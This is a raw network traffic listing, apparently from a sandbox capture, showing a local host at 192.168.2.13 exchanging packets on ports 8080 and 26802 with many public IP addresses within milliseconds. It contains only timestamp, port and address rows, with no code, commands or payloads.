Feb 19, 2025 19:43:15.968280077 CET	8080	26802	94.33.128.45	192.168.2.13
Feb 19, 2025 19:43:15.968293905 CET	8080	26802	62.207.171.79	192.168.2.13
Feb 19, 2025 19:43:15.968307018 CET	8080	26802	94.90.133.33	192.168.2.13
Feb 19, 2025 19:43:15.968318939 CET	26802	8080	192.168.2.13	94.33.128.45
Feb 19, 2025 19:43:15.968319893 CET	8080	26802	95.217.78.131	192.168.2.13
Feb 19, 2025 19:43:15.968327999 CET	26802	8080	192.168.2.13	62.207.171.79
Feb 19, 2025 19:43:15.968333960 CET	26802	8080	192.168.2.13	94.90.133.33
Feb 19, 2025 19:43:15.968333960 CET	8080	26802	95.214.73.173	192.168.2.13
Feb 19, 2025 19:43:15.968347073 CET	8080	26802	94.178.50.229	192.168.2.13
Feb 19, 2025 19:43:15.968349934 CET	26802	8080	192.168.2.13	95.217.78.131
Feb 19, 2025 19:43:15.968359947 CET	8080	26802	62.211.235.250	192.168.2.13
Feb 19, 2025 19:43:15.968374014 CET	8080	26802	62.169.217.164	192.168.2.13
Feb 19, 2025 19:43:15.968398094 CET	8080	26802	62.166.150.154	192.168.2.13
Feb 19, 2025 19:43:15.968411922 CET	8080	26802	94.129.181.93	192.168.2.13
Feb 19, 2025 19:43:15.968414068 CET	26802	8080	192.168.2.13	62.211.235.250
Feb 19, 2025 19:43:15.968415022 CET	26802	8080	192.168.2.13	95.214.73.173
Feb 19, 2025 19:43:15.968415022 CET	26802	8080	192.168.2.13	62.169.217.164
Feb 19, 2025 19:43:15.968425035 CET	8080	26802	85.19.162.212	192.168.2.13
Feb 19, 2025 19:43:15.968429089 CET	26802	8080	192.168.2.13	62.166.150.154
Feb 19, 2025 19:43:15.968437910 CET	8080	26802	95.109.16.245	192.168.2.13
Feb 19, 2025 19:43:15.968441963 CET	26802	8080	192.168.2.13	94.178.50.229
Feb 19, 2025 19:43:15.968446970 CET	26802	8080	192.168.2.13	94.129.181.93
Feb 19, 2025 19:43:15.968450069 CET	26802	8080	192.168.2.13	85.19.162.212
Feb 19, 2025 19:43:15.968451977 CET	8080	26802	85.117.154.237	192.168.2.13
Feb 19, 2025 19:43:15.968465090 CET	8080	26802	95.144.238.168	192.168.2.13
Feb 19, 2025 19:43:15.968472958 CET	26802	8080	192.168.2.13	95.109.16.245
Feb 19, 2025 19:43:15.968482971 CET	8080	26802	62.184.152.249	192.168.2.13
Feb 19, 2025 19:43:15.968489885 CET	26802	8080	192.168.2.13	85.117.154.237
Feb 19, 2025 19:43:15.968492031 CET	26802	8080	192.168.2.13	95.144.238.168
Feb 19, 2025 19:43:15.968502998 CET	8080	26802	95.20.21.42	192.168.2.13
Feb 19, 2025 19:43:15.968516111 CET	8080	26802	94.88.229.249	192.168.2.13
Feb 19, 2025 19:43:15.968529940 CET	8080	26802	94.46.167.16	192.168.2.13
Feb 19, 2025 19:43:15.968547106 CET	8080	26802	85.138.56.182	192.168.2.13
Feb 19, 2025 19:43:15.968555927 CET	26802	8080	192.168.2.13	62.184.152.249
Feb 19, 2025 19:43:15.968564034 CET	26802	8080	192.168.2.13	94.88.229.249
Feb 19, 2025 19:43:15.968566895 CET	26802	8080	192.168.2.13	95.20.21.42
Feb 19, 2025 19:43:15.968571901 CET	26802	8080	192.168.2.13	94.46.167.16
Feb 19, 2025 19:43:15.968578100 CET	26802	8080	192.168.2.13	85.138.56.182
Feb 19, 2025 19:43:15.968774080 CET	8080	26802	85.5.38.110	192.168.2.13
Feb 19, 2025 19:43:15.968787909 CET	8080	26802	85.70.218.64	192.168.2.13
Feb 19, 2025 19:43:15.968801022 CET	8080	26802	85.220.173.251	192.168.2.13
Feb 19, 2025 19:43:15.968811989 CET	26802	8080	192.168.2.13	85.5.38.110
Feb 19, 2025 19:43:15.968813896 CET	8080	26802	31.9.27.39	192.168.2.13
Feb 19, 2025 19:43:15.968816042 CET	26802	8080	192.168.2.13	85.70.218.64
Feb 19, 2025 19:43:15.968827963 CET	8080	26802	62.251.250.77	192.168.2.13
Feb 19, 2025 19:43:15.968827963 CET	26802	8080	192.168.2.13	85.220.173.251
Feb 19, 2025 19:43:15.968838930 CET	26802	8080	192.168.2.13	31.9.27.39
Feb 19, 2025 19:43:15.968842030 CET	8080	26802	95.254.183.85	192.168.2.13
Feb 19, 2025 19:43:15.968856096 CET	8080	26802	62.122.6.87	192.168.2.13
Feb 19, 2025 19:43:15.968868971 CET	8080	26802	31.224.230.23	192.168.2.13
Feb 19, 2025 19:43:15.968882084 CET	8080	26802	62.152.94.138	192.168.2.13
Feb 19, 2025 19:43:15.968897104 CET	26802	8080	192.168.2.13	62.122.6.87
Feb 19, 2025 19:43:15.968899012 CET	8080	26802	85.164.75.64	192.168.2.13
Feb 19, 2025 19:43:15.968904972 CET	26802	8080	192.168.2.13	31.224.230.23
Feb 19, 2025 19:43:15.968907118 CET	26802	8080	192.168.2.13	62.251.250.77
Feb 19, 2025 19:43:15.968907118 CET	26802	8080	192.168.2.13	95.254.183.85
Feb 19, 2025 19:43:15.968909979 CET	26802	8080	192.168.2.13	62.152.94.138
Feb 19, 2025 19:43:15.968919992 CET	8080	26802	31.46.173.221	192.168.2.13
Feb 19, 2025 19:43:15.968931913 CET	26802	8080	192.168.2.13	85.164.75.64
Feb 19, 2025 19:43:15.968941927 CET	26802	8080	192.168.2.13	31.46.173.221
Feb 19, 2025 19:43:15.968943119 CET	8080	26802	94.135.203.166	192.168.2.13
Feb 19, 2025 19:43:15.968957901 CET	8080	26802	31.33.53.68	192.168.2.13
Feb 19, 2025 19:43:15.968970060 CET	8080	26802	95.16.104.174	192.168.2.13
Feb 19, 2025 19:43:15.968980074 CET	26802	8080	192.168.2.13	94.135.203.166
Feb 19, 2025 19:43:15.968982935 CET	8080	26802	62.109.207.150	192.168.2.13
Feb 19, 2025 19:43:15.968985081 CET	26802	8080	192.168.2.13	31.33.53.68
Feb 19, 2025 19:43:15.968996048 CET	8080	26802	94.99.103.17	192.168.2.13
Feb 19, 2025 19:43:15.969002008 CET	26802	8080	192.168.2.13	95.16.104.174
Feb 19, 2025 19:43:15.969012022 CET	8080	26802	31.189.146.139	192.168.2.13
Feb 19, 2025 19:43:15.969012022 CET	26802	8080	192.168.2.13	62.109.207.150
Feb 19, 2025 19:43:15.969026089 CET	8080	26802	85.245.50.208	192.168.2.13
Feb 19, 2025 19:43:15.969027996 CET	26802	8080	192.168.2.13	94.99.103.17
Feb 19, 2025 19:43:15.969038963 CET	8080	26802	62.254.25.230	192.168.2.13
Feb 19, 2025 19:43:15.969048977 CET	26802	8080	192.168.2.13	31.189.146.139
Feb 19, 2025 19:43:15.969049931 CET	26802	8080	192.168.2.13	85.245.50.208
Feb 19, 2025 19:43:15.969050884 CET	8080	26802	94.34.109.170	192.168.2.13
Feb 19, 2025 19:43:15.969064951 CET	26802	8080	192.168.2.13	62.254.25.230
Feb 19, 2025 19:43:15.969064951 CET	8080	26802	95.152.164.215	192.168.2.13
Feb 19, 2025 19:43:15.969082117 CET	26802	8080	192.168.2.13	94.34.109.170
Feb 19, 2025 19:43:15.969091892 CET	26802	8080	192.168.2.13	95.152.164.215
Feb 19, 2025 19:43:15.969115973 CET	8080	26802	85.169.253.13	192.168.2.13
Feb 19, 2025 19:43:15.969132900 CET	8080	26802	31.34.71.167	192.168.2.13
Feb 19, 2025 19:43:15.969146013 CET	26802	8080	192.168.2.13	85.169.253.13
Feb 19, 2025 19:43:15.969146967 CET	8080	26802	94.233.60.184	192.168.2.13
Feb 19, 2025 19:43:15.969160080 CET	8080	26802	95.203.62.27	192.168.2.13
Feb 19, 2025 19:43:15.969165087 CET	26802	8080	192.168.2.13	31.34.71.167
Feb 19, 2025 19:43:15.969172001 CET	26802	8080	192.168.2.13	94.233.60.184
Feb 19, 2025 19:43:15.969187021 CET	26802	8080	192.168.2.13	95.203.62.27
Feb 19, 2025 19:43:15.969207048 CET	8080	26802	95.50.32.223	192.168.2.13
Feb 19, 2025 19:43:15.969219923 CET	8080	26802	95.95.57.30	192.168.2.13
Feb 19, 2025 19:43:15.969230890 CET	26802	8080	192.168.2.13	95.50.32.223
Feb 19, 2025 19:43:15.969233036 CET	8080	26802	95.185.93.245	192.168.2.13
Feb 19, 2025 19:43:15.969245911 CET	8080	26802	62.198.21.203	192.168.2.13
Feb 19, 2025 19:43:15.969250917 CET	26802	8080	192.168.2.13	95.95.57.30
Feb 19, 2025 19:43:15.969263077 CET	8080	26802	85.119.24.186	192.168.2.13
Feb 19, 2025 19:43:15.969273090 CET	26802	8080	192.168.2.13	95.185.93.245
Feb 19, 2025 19:43:15.969273090 CET	26802	8080	192.168.2.13	62.198.21.203
Feb 19, 2025 19:43:15.969283104 CET	26802	8080	192.168.2.13	85.119.24.186
Feb 19, 2025 19:43:15.969294071 CET	8080	26802	62.96.87.231	192.168.2.13
Feb 19, 2025 19:43:15.969306946 CET	8080	26802	95.196.60.142	192.168.2.13
Feb 19, 2025 19:43:15.969317913 CET	8080	26802	95.177.135.110	192.168.2.13
Feb 19, 2025 19:43:15.969321966 CET	26802	8080	192.168.2.13	62.96.87.231
Feb 19, 2025 19:43:15.969329119 CET	26802	8080	192.168.2.13	95.196.60.142
Feb 19, 2025 19:43:15.969331026 CET	8080	26802	85.69.116.178	192.168.2.13
Feb 19, 2025 19:43:15.969342947 CET	8080	26802	95.223.158.224	192.168.2.13
Feb 19, 2025 19:43:15.969345093 CET	26802	8080	192.168.2.13	95.177.135.110
Feb 19, 2025 19:43:15.969356060 CET	8080	26802	95.250.217.241	192.168.2.13
Feb 19, 2025 19:43:15.969356060 CET	26802	8080	192.168.2.13	85.69.116.178
Feb 19, 2025 19:43:15.969369888 CET	8080	26802	95.134.86.15	192.168.2.13
Feb 19, 2025 19:43:15.969373941 CET	26802	8080	192.168.2.13	95.223.158.224
Feb 19, 2025 19:43:15.969383001 CET	8080	26802	94.51.219.12	192.168.2.13
Feb 19, 2025 19:43:15.969387054 CET	26802	8080	192.168.2.13	95.250.217.241
Feb 19, 2025 19:43:15.969396114 CET	8080	26802	62.138.53.74	192.168.2.13
Feb 19, 2025 19:43:15.969398022 CET	26802	8080	192.168.2.13	95.134.86.15
Feb 19, 2025 19:43:15.969409943 CET	8080	26802	85.50.137.88	192.168.2.13
Feb 19, 2025 19:43:15.969414949 CET	26802	8080	192.168.2.13	94.51.219.12
Feb 19, 2025 19:43:15.969419003 CET	26802	8080	192.168.2.13	62.138.53.74
Feb 19, 2025 19:43:15.969429970 CET	8080	26802	95.171.13.5	192.168.2.13
Feb 19, 2025 19:43:15.969439983 CET	26802	8080	192.168.2.13	85.50.137.88
Feb 19, 2025 19:43:15.969450951 CET	8080	26802	95.205.177.22	192.168.2.13
Feb 19, 2025 19:43:15.969460964 CET	26802	8080	192.168.2.13	95.171.13.5
Feb 19, 2025 19:43:15.969471931 CET	8080	26802	31.26.159.200	192.168.2.13
Feb 19, 2025 19:43:15.969484091 CET	8080	26802	85.181.112.33	192.168.2.13
Feb 19, 2025 19:43:15.969489098 CET	26802	8080	192.168.2.13	95.205.177.22
Feb 19, 2025 19:43:15.969496012 CET	26802	8080	192.168.2.13	31.26.159.200
Feb 19, 2025 19:43:15.969497919 CET	8080	26802	31.162.251.67	192.168.2.13
Feb 19, 2025 19:43:15.969512939 CET	8080	26802	95.191.100.87	192.168.2.13
Feb 19, 2025 19:43:15.969516993 CET	26802	8080	192.168.2.13	85.181.112.33
Feb 19, 2025 19:43:15.969525099 CET	8080	26802	95.143.6.148	192.168.2.13
Feb 19, 2025 19:43:15.969536066 CET	26802	8080	192.168.2.13	31.162.251.67
Feb 19, 2025 19:43:15.969541073 CET	26802	8080	192.168.2.13	95.191.100.87
Feb 19, 2025 19:43:15.969564915 CET	8080	26802	85.9.89.82	192.168.2.13
Feb 19, 2025 19:43:15.969575882 CET	26802	8080	192.168.2.13	95.143.6.148
Feb 19, 2025 19:43:15.969580889 CET	8080	26802	94.6.12.243	192.168.2.13
Feb 19, 2025 19:43:15.969588995 CET	26802	8080	192.168.2.13	85.9.89.82
Feb 19, 2025 19:43:15.969598055 CET	8080	26802	94.196.91.155	192.168.2.13
Feb 19, 2025 19:43:15.969619036 CET	26802	8080	192.168.2.13	94.6.12.243
Feb 19, 2025 19:43:15.969619036 CET	26802	8080	192.168.2.13	94.196.91.155
Feb 19, 2025 19:43:15.969640017 CET	8080	26802	95.101.255.33	192.168.2.13
Feb 19, 2025 19:43:15.969652891 CET	8080	26802	31.90.23.255	192.168.2.13
Feb 19, 2025 19:43:15.969664097 CET	26802	8080	192.168.2.13	95.101.255.33
Feb 19, 2025 19:43:15.969680071 CET	8080	26802	62.31.221.11	192.168.2.13
Feb 19, 2025 19:43:15.969692945 CET	26802	8080	192.168.2.13	31.90.23.255
Feb 19, 2025 19:43:15.969708920 CET	8080	26802	94.107.96.145	192.168.2.13
Feb 19, 2025 19:43:15.969710112 CET	26802	8080	192.168.2.13	62.31.221.11
Feb 19, 2025 19:43:15.969723940 CET	8080	26802	85.83.255.66	192.168.2.13
Feb 19, 2025 19:43:15.969738007 CET	26802	8080	192.168.2.13	94.107.96.145
Feb 19, 2025 19:43:15.969753981 CET	26802	8080	192.168.2.13	85.83.255.66
Feb 19, 2025 19:43:15.969806910 CET	8080	26802	94.172.59.94	192.168.2.13
Feb 19, 2025 19:43:15.969820976 CET	8080	26802	94.83.142.209	192.168.2.13
Feb 19, 2025 19:43:15.969832897 CET	8080	26802	85.158.35.31	192.168.2.13
Feb 19, 2025 19:43:15.969841003 CET	26802	8080	192.168.2.13	94.172.59.94
Feb 19, 2025 19:43:15.969846010 CET	8080	26802	85.7.147.210	192.168.2.13
Feb 19, 2025 19:43:15.969846964 CET	26802	8080	192.168.2.13	94.83.142.209
Feb 19, 2025 19:43:15.969860077 CET	26802	8080	192.168.2.13	85.158.35.31
Feb 19, 2025 19:43:15.969868898 CET	8080	26802	62.234.216.98	192.168.2.13
Feb 19, 2025 19:43:15.969881058 CET	26802	8080	192.168.2.13	85.7.147.210
Feb 19, 2025 19:43:15.969882965 CET	8080	26802	85.7.64.113	192.168.2.13
Feb 19, 2025 19:43:15.969898939 CET	26802	8080	192.168.2.13	62.234.216.98
Feb 19, 2025 19:43:15.969907045 CET	8080	26802	85.218.212.227	192.168.2.13
Feb 19, 2025 19:43:15.969912052 CET	26802	8080	192.168.2.13	85.7.64.113
Feb 19, 2025 19:43:15.969921112 CET	8080	26802	31.44.89.252	192.168.2.13
Feb 19, 2025 19:43:15.969933987 CET	8080	26802	31.83.232.189	192.168.2.13
Feb 19, 2025 19:43:15.969939947 CET	26802	8080	192.168.2.13	85.218.212.227
Feb 19, 2025 19:43:15.969944954 CET	26802	8080	192.168.2.13	31.44.89.252
Feb 19, 2025 19:43:15.969957113 CET	8080	26802	31.232.244.105	192.168.2.13
Feb 19, 2025 19:43:15.969959021 CET	26802	8080	192.168.2.13	31.83.232.189
Feb 19, 2025 19:43:15.969969988 CET	8080	26802	85.25.176.51	192.168.2.13
Feb 19, 2025 19:43:15.969981909 CET	8080	26802	94.250.47.250	192.168.2.13
Feb 19, 2025 19:43:15.969985962 CET	26802	8080	192.168.2.13	31.232.244.105
Feb 19, 2025 19:43:15.969993114 CET	26802	8080	192.168.2.13	85.25.176.51
Feb 19, 2025 19:43:15.969994068 CET	8080	26802	85.141.151.200	192.168.2.13
Feb 19, 2025 19:43:15.970006943 CET	8080	26802	95.80.118.17	192.168.2.13
Feb 19, 2025 19:43:15.970009089 CET	26802	8080	192.168.2.13	94.250.47.250
Feb 19, 2025 19:43:15.970020056 CET	8080	26802	31.198.134.85	192.168.2.13
Feb 19, 2025 19:43:15.970021009 CET	26802	8080	192.168.2.13	85.141.151.200
Feb 19, 2025 19:43:15.970038891 CET	26802	8080	192.168.2.13	95.80.118.17
Feb 19, 2025 19:43:15.970045090 CET	26802	8080	192.168.2.13	31.198.134.85
Feb 19, 2025 19:43:15.970295906 CET	8080	26802	62.126.130.8	192.168.2.13
Feb 19, 2025 19:43:15.970308065 CET	8080	26802	31.145.244.147	192.168.2.13
Feb 19, 2025 19:43:15.970320940 CET	8080	26802	95.63.40.131	192.168.2.13
Feb 19, 2025 19:43:15.970330954 CET	26802	8080	192.168.2.13	62.126.130.8
Feb 19, 2025 19:43:15.970333099 CET	26802	8080	192.168.2.13	31.145.244.147
Feb 19, 2025 19:43:15.970344067 CET	8080	26802	85.12.249.153	192.168.2.13
Feb 19, 2025 19:43:15.970345020 CET	26802	8080	192.168.2.13	95.63.40.131
Feb 19, 2025 19:43:15.970356941 CET	8080	26802	95.108.45.57	192.168.2.13
Feb 19, 2025 19:43:15.970369101 CET	8080	26802	95.189.73.59	192.168.2.13
Feb 19, 2025 19:43:15.970376015 CET	26802	8080	192.168.2.13	85.12.249.153
Feb 19, 2025 19:43:15.970381975 CET	26802	8080	192.168.2.13	95.108.45.57
Feb 19, 2025 19:43:15.970387936 CET	26802	8080	192.168.2.13	95.189.73.59
Feb 19, 2025 19:43:15.970391989 CET	8080	26802	62.44.12.95	192.168.2.13
Feb 19, 2025 19:43:15.970405102 CET	8080	26802	94.175.54.232	192.168.2.13
Feb 19, 2025 19:43:15.970417976 CET	8080	26802	62.245.140.114	192.168.2.13
Feb 19, 2025 19:43:15.970422029 CET	26802	8080	192.168.2.13	62.44.12.95
Feb 19, 2025 19:43:15.970431089 CET	8080	26802	95.69.186.66	192.168.2.13
Feb 19, 2025 19:43:15.970431089 CET	26802	8080	192.168.2.13	94.175.54.232
Feb 19, 2025 19:43:15.970443010 CET	26802	8080	192.168.2.13	62.245.140.114
Feb 19, 2025 19:43:15.970454931 CET	8080	26802	94.196.133.18	192.168.2.13
Feb 19, 2025 19:43:15.970458031 CET	26802	8080	192.168.2.13	95.69.186.66
Feb 19, 2025 19:43:15.970469952 CET	8080	26802	31.202.23.134	192.168.2.13
Feb 19, 2025 19:43:15.970482111 CET	8080	26802	94.6.106.26	192.168.2.13
Feb 19, 2025 19:43:15.970494986 CET	8080	26802	94.203.182.240	192.168.2.13
Feb 19, 2025 19:43:15.970498085 CET	26802	8080	192.168.2.13	31.202.23.134
Feb 19, 2025 19:43:15.970499992 CET	26802	8080	192.168.2.13	94.196.133.18
Feb 19, 2025 19:43:15.970508099 CET	8080	26802	62.50.24.229	192.168.2.13
Feb 19, 2025 19:43:15.970515013 CET	26802	8080	192.168.2.13	94.6.106.26
Feb 19, 2025 19:43:15.970523119 CET	8080	26802	62.216.54.117	192.168.2.13
Feb 19, 2025 19:43:15.970524073 CET	26802	8080	192.168.2.13	94.203.182.240
Feb 19, 2025 19:43:15.970541000 CET	8080	26802	94.56.9.19	192.168.2.13
Feb 19, 2025 19:43:15.970541954 CET	26802	8080	192.168.2.13	62.50.24.229
Feb 19, 2025 19:43:15.970551968 CET	26802	8080	192.168.2.13	62.216.54.117
Feb 19, 2025 19:43:15.970558882 CET	8080	26802	62.104.236.142	192.168.2.13
Feb 19, 2025 19:43:15.970568895 CET	26802	8080	192.168.2.13	94.56.9.19
Feb 19, 2025 19:43:15.970575094 CET	8080	26802	94.251.145.157	192.168.2.13
Feb 19, 2025 19:43:15.970588923 CET	8080	26802	85.45.194.245	192.168.2.13
Feb 19, 2025 19:43:15.970588923 CET	26802	8080	192.168.2.13	62.104.236.142
Feb 19, 2025 19:43:15.970602989 CET	8080	26802	62.208.68.172	192.168.2.13
Feb 19, 2025 19:43:15.970606089 CET	26802	8080	192.168.2.13	94.251.145.157
Feb 19, 2025 19:43:15.970617056 CET	8080	26802	94.149.244.168	192.168.2.13
Feb 19, 2025 19:43:15.970626116 CET	26802	8080	192.168.2.13	85.45.194.245
Feb 19, 2025 19:43:15.970628977 CET	8080	26802	95.227.47.202	192.168.2.13
Feb 19, 2025 19:43:15.970638037 CET	26802	8080	192.168.2.13	62.208.68.172
Feb 19, 2025 19:43:15.970642090 CET	8080	26802	31.1.244.125	192.168.2.13
Feb 19, 2025 19:43:15.970649004 CET	26802	8080	192.168.2.13	94.149.244.168
Feb 19, 2025 19:43:15.970655918 CET	8080	26802	62.234.191.125	192.168.2.13
Feb 19, 2025 19:43:15.970659971 CET	26802	8080	192.168.2.13	95.227.47.202
Feb 19, 2025 19:43:15.970666885 CET	26802	8080	192.168.2.13	31.1.244.125
Feb 19, 2025 19:43:15.970680952 CET	26802	8080	192.168.2.13	62.234.191.125
Feb 19, 2025 19:43:15.970860004 CET	8080	26802	31.11.208.180	192.168.2.13
Feb 19, 2025 19:43:15.970873117 CET	8080	26802	85.42.99.158	192.168.2.13
Feb 19, 2025 19:43:15.970885038 CET	8080	26802	31.124.111.80	192.168.2.13
Feb 19, 2025 19:43:15.970896006 CET	26802	8080	192.168.2.13	31.11.208.180
Feb 19, 2025 19:43:15.970897913 CET	8080	26802	95.155.164.38	192.168.2.13
Feb 19, 2025 19:43:15.970907927 CET	26802	8080	192.168.2.13	85.42.99.158
Feb 19, 2025 19:43:15.970911026 CET	8080	26802	31.99.177.141	192.168.2.13
Feb 19, 2025 19:43:15.970926046 CET	8080	26802	85.71.20.114	192.168.2.13
Feb 19, 2025 19:43:15.970927000 CET	26802	8080	192.168.2.13	31.124.111.80
Feb 19, 2025 19:43:15.970932007 CET	26802	8080	192.168.2.13	95.155.164.38
Feb 19, 2025 19:43:15.970938921 CET	8080	26802	94.112.210.145	192.168.2.13
Feb 19, 2025 19:43:15.970951080 CET	26802	8080	192.168.2.13	31.99.177.141
Feb 19, 2025 19:43:15.970951080 CET	26802	8080	192.168.2.13	85.71.20.114
Feb 19, 2025 19:43:15.970952034 CET	8080	26802	62.84.197.113	192.168.2.13
Feb 19, 2025 19:43:15.970968962 CET	8080	26802	31.41.66.41	192.168.2.13
Feb 19, 2025 19:43:15.970974922 CET	26802	8080	192.168.2.13	94.112.210.145
Feb 19, 2025 19:43:15.970980883 CET	26802	8080	192.168.2.13	62.84.197.113
Feb 19, 2025 19:43:15.970987082 CET	8080	26802	85.107.236.70	192.168.2.13
Feb 19, 2025 19:43:15.971003056 CET	8080	26802	85.145.199.247	192.168.2.13
Feb 19, 2025 19:43:15.971004009 CET	26802	8080	192.168.2.13	31.41.66.41
Feb 19, 2025 19:43:15.971019983 CET	8080	26802	94.126.132.72	192.168.2.13
Feb 19, 2025 19:43:15.971020937 CET	26802	8080	192.168.2.13	85.107.236.70
Feb 19, 2025 19:43:15.971036911 CET	8080	26802	95.49.9.196	192.168.2.13
Feb 19, 2025 19:43:15.971039057 CET	26802	8080	192.168.2.13	85.145.199.247
Feb 19, 2025 19:43:15.971054077 CET	8080	26802	62.109.96.227	192.168.2.13
Feb 19, 2025 19:43:15.971054077 CET	26802	8080	192.168.2.13	94.126.132.72
Feb 19, 2025 19:43:15.971065998 CET	26802	8080	192.168.2.13	95.49.9.196
Feb 19, 2025 19:43:15.971079111 CET	8080	26802	62.135.165.92	192.168.2.13
Feb 19, 2025 19:43:15.971091986 CET	8080	26802	95.60.118.64	192.168.2.13
Feb 19, 2025 19:43:15.971092939 CET	26802	8080	192.168.2.13	62.109.96.227
Feb 19, 2025 19:43:15.971105099 CET	8080	26802	62.123.30.213	192.168.2.13
Feb 19, 2025 19:43:15.971107960 CET	26802	8080	192.168.2.13	62.135.165.92
Feb 19, 2025 19:43:15.971117973 CET	26802	8080	192.168.2.13	95.60.118.64
Feb 19, 2025 19:43:15.971121073 CET	8080	26802	95.6.40.31	192.168.2.13
Feb 19, 2025 19:43:15.971139908 CET	8080	26802	95.240.76.190	192.168.2.13
Feb 19, 2025 19:43:15.971138954 CET	26802	8080	192.168.2.13	62.123.30.213
Feb 19, 2025 19:43:15.971154928 CET	26802	8080	192.168.2.13	95.6.40.31
Feb 19, 2025 19:43:15.971163988 CET	8080	26802	94.205.3.25	192.168.2.13
Feb 19, 2025 19:43:15.971183062 CET	26802	8080	192.168.2.13	95.240.76.190
Feb 19, 2025 19:43:15.971198082 CET	26802	8080	192.168.2.13	94.205.3.25
Feb 19, 2025 19:43:15.971286058 CET	8080	26802	94.241.99.37	192.168.2.13
Feb 19, 2025 19:43:15.971302032 CET	8080	26802	85.125.150.193	192.168.2.13
Feb 19, 2025 19:43:15.971321106 CET	26802	8080	192.168.2.13	94.241.99.37
Feb 19, 2025 19:43:15.971328020 CET	8080	26802	85.79.90.253	192.168.2.13
Feb 19, 2025 19:43:15.971330881 CET	26802	8080	192.168.2.13	85.125.150.193
Feb 19, 2025 19:43:15.971342087 CET	8080	26802	62.22.211.198	192.168.2.13
Feb 19, 2025 19:43:15.971354961 CET	8080	26802	85.95.17.165	192.168.2.13
Feb 19, 2025 19:43:15.971358061 CET	26802	8080	192.168.2.13	85.79.90.253
Feb 19, 2025 19:43:15.971368074 CET	8080	26802	85.28.101.185	192.168.2.13
Feb 19, 2025 19:43:15.971375942 CET	26802	8080	192.168.2.13	62.22.211.198
Feb 19, 2025 19:43:15.971383095 CET	8080	26802	62.203.12.214	192.168.2.13
Feb 19, 2025 19:43:15.971386909 CET	26802	8080	192.168.2.13	85.95.17.165
Feb 19, 2025 19:43:15.971395969 CET	8080	26802	95.249.13.16	192.168.2.13
Feb 19, 2025 19:43:15.971396923 CET	26802	8080	192.168.2.13	85.28.101.185
Feb 19, 2025 19:43:15.971407890 CET	8080	26802	95.97.155.149	192.168.2.13
Feb 19, 2025 19:43:15.971411943 CET	26802	8080	192.168.2.13	62.203.12.214
Feb 19, 2025 19:43:15.971421957 CET	8080	26802	95.223.245.35	192.168.2.13
Feb 19, 2025 19:43:15.971422911 CET	26802	8080	192.168.2.13	95.249.13.16
Feb 19, 2025 19:43:15.971434116 CET	26802	8080	192.168.2.13	95.97.155.149
Feb 19, 2025 19:43:15.971446037 CET	8080	26802	94.176.64.135	192.168.2.13
Feb 19, 2025 19:43:15.971448898 CET	26802	8080	192.168.2.13	95.223.245.35
Feb 19, 2025 19:43:15.971460104 CET	8080	26802	94.206.153.53	192.168.2.13
Feb 19, 2025 19:43:15.971472025 CET	8080	26802	62.49.192.115	192.168.2.13
Feb 19, 2025 19:43:15.971478939 CET	26802	8080	192.168.2.13	94.176.64.135
Feb 19, 2025 19:43:15.971492052 CET	26802	8080	192.168.2.13	94.206.153.53
Feb 19, 2025 19:43:15.971499920 CET	8080	26802	85.115.11.25	192.168.2.13
Feb 19, 2025 19:43:15.971507072 CET	26802	8080	192.168.2.13	62.49.192.115
Feb 19, 2025 19:43:15.971523046 CET	8080	26802	62.90.12.240	192.168.2.13
Feb 19, 2025 19:43:15.971525908 CET	26802	8080	192.168.2.13	85.115.11.25
Feb 19, 2025 19:43:15.971539974 CET	8080	26802	94.211.78.8	192.168.2.13
Feb 19, 2025 19:43:15.971549988 CET	26802	8080	192.168.2.13	62.90.12.240
Feb 19, 2025 19:43:15.971556902 CET	8080	26802	85.84.88.0	192.168.2.13
Feb 19, 2025 19:43:15.971570015 CET	26802	8080	192.168.2.13	94.211.78.8
Feb 19, 2025 19:43:15.971574068 CET	8080	26802	94.158.60.14	192.168.2.13
Feb 19, 2025 19:43:15.971587896 CET	8080	26802	62.56.97.119	192.168.2.13
Feb 19, 2025 19:43:15.971590996 CET	26802	8080	192.168.2.13	85.84.88.0
Feb 19, 2025 19:43:15.971601009 CET	8080	26802	62.160.104.4	192.168.2.13
Feb 19, 2025 19:43:15.971601963 CET	26802	8080	192.168.2.13	94.158.60.14
Feb 19, 2025 19:43:15.971613884 CET	8080	26802	31.24.72.239	192.168.2.13
Feb 19, 2025 19:43:15.971616030 CET	26802	8080	192.168.2.13	62.56.97.119
Feb 19, 2025 19:43:15.971627951 CET	26802	8080	192.168.2.13	62.160.104.4
Feb 19, 2025 19:43:15.971642971 CET	26802	8080	192.168.2.13	31.24.72.239
Feb 19, 2025 19:43:15.971807003 CET	8080	26802	31.105.136.47	192.168.2.13
Feb 19, 2025 19:43:15.971820116 CET	8080	26802	94.158.78.202	192.168.2.13
Feb 19, 2025 19:43:15.971832037 CET	8080	26802	85.147.154.192	192.168.2.13
Feb 19, 2025 19:43:15.971833944 CET	26802	8080	192.168.2.13	31.105.136.47
Feb 19, 2025 19:43:15.971847057 CET	8080	26802	31.39.103.50	192.168.2.13
Feb 19, 2025 19:43:15.971851110 CET	26802	8080	192.168.2.13	94.158.78.202
Feb 19, 2025 19:43:15.971856117 CET	26802	8080	192.168.2.13	85.147.154.192
Feb 19, 2025 19:43:15.971862078 CET	8080	26802	31.93.52.249	192.168.2.13
Feb 19, 2025 19:43:15.971868992 CET	26802	8080	192.168.2.13	31.39.103.50
Feb 19, 2025 19:43:15.971873999 CET	8080	26802	62.250.4.100	192.168.2.13
Feb 19, 2025 19:43:15.971887112 CET	8080	26802	85.159.68.37	192.168.2.13
Feb 19, 2025 19:43:15.971888065 CET	26802	8080	192.168.2.13	31.93.52.249
Feb 19, 2025 19:43:15.971898079 CET	8080	26802	31.146.122.34	192.168.2.13
Feb 19, 2025 19:43:15.971901894 CET	26802	8080	192.168.2.13	62.250.4.100
Feb 19, 2025 19:43:15.971918106 CET	26802	8080	192.168.2.13	85.159.68.37
Feb 19, 2025 19:43:15.971925020 CET	26802	8080	192.168.2.13	31.146.122.34
Feb 19, 2025 19:43:15.971926928 CET	8080	26802	85.223.135.111	192.168.2.13
Feb 19, 2025 19:43:15.971940041 CET	8080	26802	95.177.123.87	192.168.2.13
Feb 19, 2025 19:43:15.971951962 CET	8080	26802	31.246.108.89	192.168.2.13
Feb 19, 2025 19:43:15.971954107 CET	26802	8080	192.168.2.13	85.223.135.111
Feb 19, 2025 19:43:15.971965075 CET	8080	26802	95.157.56.88	192.168.2.13
Feb 19, 2025 19:43:15.971971989 CET	26802	8080	192.168.2.13	95.177.123.87
Feb 19, 2025 19:43:15.971976995 CET	26802	8080	192.168.2.13	31.246.108.89
